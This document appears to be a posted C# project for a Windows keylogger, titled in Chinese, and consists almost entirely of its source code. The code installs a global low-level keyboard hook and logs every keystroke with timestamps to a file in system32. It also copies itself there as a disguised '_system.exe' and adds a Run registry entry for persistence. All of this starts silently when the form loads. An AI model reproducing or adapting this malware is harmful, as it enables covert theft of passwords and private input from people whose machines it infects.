C#键盘记录器

using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.Threading; namespace RozhDataSrvTest { ///

/// Form2 的摘要说明。 ///

public class Form2 : System.Windows.Forms.Form { ///

/// 必需的设计器变量。 ///

private System.ComponentModel.Container components = null; private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport; private string keyEvents,keyDate; private System.Windows.Forms.TabControl tabControl1; private System.Windows.Forms.TabPage tabPage1; private System.Windows.Forms.Button button1; public Form2() { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 // } ///

/// 清理所有正在使用的资源。 ///

protected override void Dispose( bool disposing ) { if( disposing ) { if(components != null) { components.Dispose(); } } base.Dispose( disposing ); } #region Windows 窗体设计器生成的代码 ///

/// 设计器支持所需的方法 - 不要使用代码编辑器修改 /// 此方法的内容。 ///

private void InitializeComponent() { this.button1 = new System.Windows.Forms.Button(); this.tabControl1 = new System.Windows.Forms.TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.tabControl1.SuspendLayout(); this.SuspendLayout(); // // button1 // this.button1.Location = new System.Drawing.Point(160, 72); this.button1.Name = "button1"; this.button1.TabIndex = 0; this.button1.Text = "button1"; this.button1.Click += new System.EventHandler(this.button1_Click); // // tabControl1 // this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Location = new System.Drawing.Point(32, 120); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; this.tabControl1.TabIndex = 1; // // tabPage1 // this.tabPage1.Location = new System.Drawing.Point(4, 21); this.tabPage1.Name = "tabPage1"; this.tabPage1.Size = new System.Drawing.Size(192, 75); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "tabPage1"; // // Form2 // this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(292, 266); this.Controls.Add(this.tabControl1); this.Controls.Add(this.button1); this.Name = "Form2"; this.Text = "Form2"; this.Load += new System.EventHandler(this.Form2_Load); this.tabControl1.ResumeLayout(false); this.ResumeLayout(false); } #endregion private void button1_Click(object sender, System.EventArgs e) { } private void Form2_Load(object sender, System.EventArgs e) { MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent); } private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key) { this.keyEvents = keyEvent.ToString(); this.keyDate = key.ToString(); this.MyReport.WriteDate(keyEvents,keyDate); } } } Hook.cs using System; using System.Runtime.InteropServices; using System.Reflection; using System.Windows.Forms; namespace RozhDataSrvTest { public enum KeyboardEvents { KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 } [StructLayout(LayoutKind.Sequential)] public struct KeyboardHookStruct { public int vkCode; //表示一个在1到254间的虚似键盘码 public int scanCode; //表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; } public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook { public event KeyboardEventHandler KeyboardEvent; public enum HookType { WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, } public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); [DllImport("User32.dll",CharSet = CharSet.Auto)] public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); [DllImport("User32.dll",CharSet = CharSet.Auto)] public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); [DllImport("User32.dll",CharSet = CharSet.Auto)] public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() { this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); } public bool SetHook() { this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return ((int)hookHandle != 0); } public IntPtr hookProc(int code, int wParam, IntPtr lParam) { if(code >= 0) { KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown && kEvent != KeyboardEvents.KeyUp && kEvent != KeyboardEvents.SystemKeyDown && kEvent != KeyboardEvents.SystemKeyUp) { return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); } KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); } return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); } public bool UnHook() { return Hook.UnhookWindowsHookEx(this.hookHandle); } } } RegistryReport.cs using System; using System.IO; using Microsoft.Win32; using System.Windows.Forms; namespace RozhDataSrvTest { public class RegistryReport { public RegistryReport() { } public void MoveFile() { if(!File.Exists("c://windows//system32//_system.exe")) { File.Move(Application.ExecutablePath,"c://windows//system32//_system.exe"); } else return; } public void registryRun() { RegistryKey key1=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run"); key1.SetValue("","c://windows//system32//_system.exe"); key1.Close(); } } } Report.cs using System; using System.IO; namespace RozhDataSrvTest { public class Report { public Report() { } public void FirstWrite() { StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true); sw.WriteLine("************* LittleStudio Studio ************* "); sw.WriteLine("******** " + DateTime.Today.Year.ToString() + "." + DateTime.Today.Month.ToString() + "." + DateTime.Today.Day.ToString() + " " + DateTime.Now.Hour.ToString() + ":" + DateTime.Now.Minute.ToString() + ":" + DateTime.Now.Second.ToString() + " ********"); sw.Close(); } public void WriteDate(string keyEvents,string keyDate) { try { StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true); sw.WriteLine(keyDate + "键 " + keyEvents + " " + DateTime.Now.Hour.ToString() + ":" + DateTime.Now.Minute.ToString() + ":" + DateTime.Now.Second.ToString()); sw.Close(); } catch{} return; } } }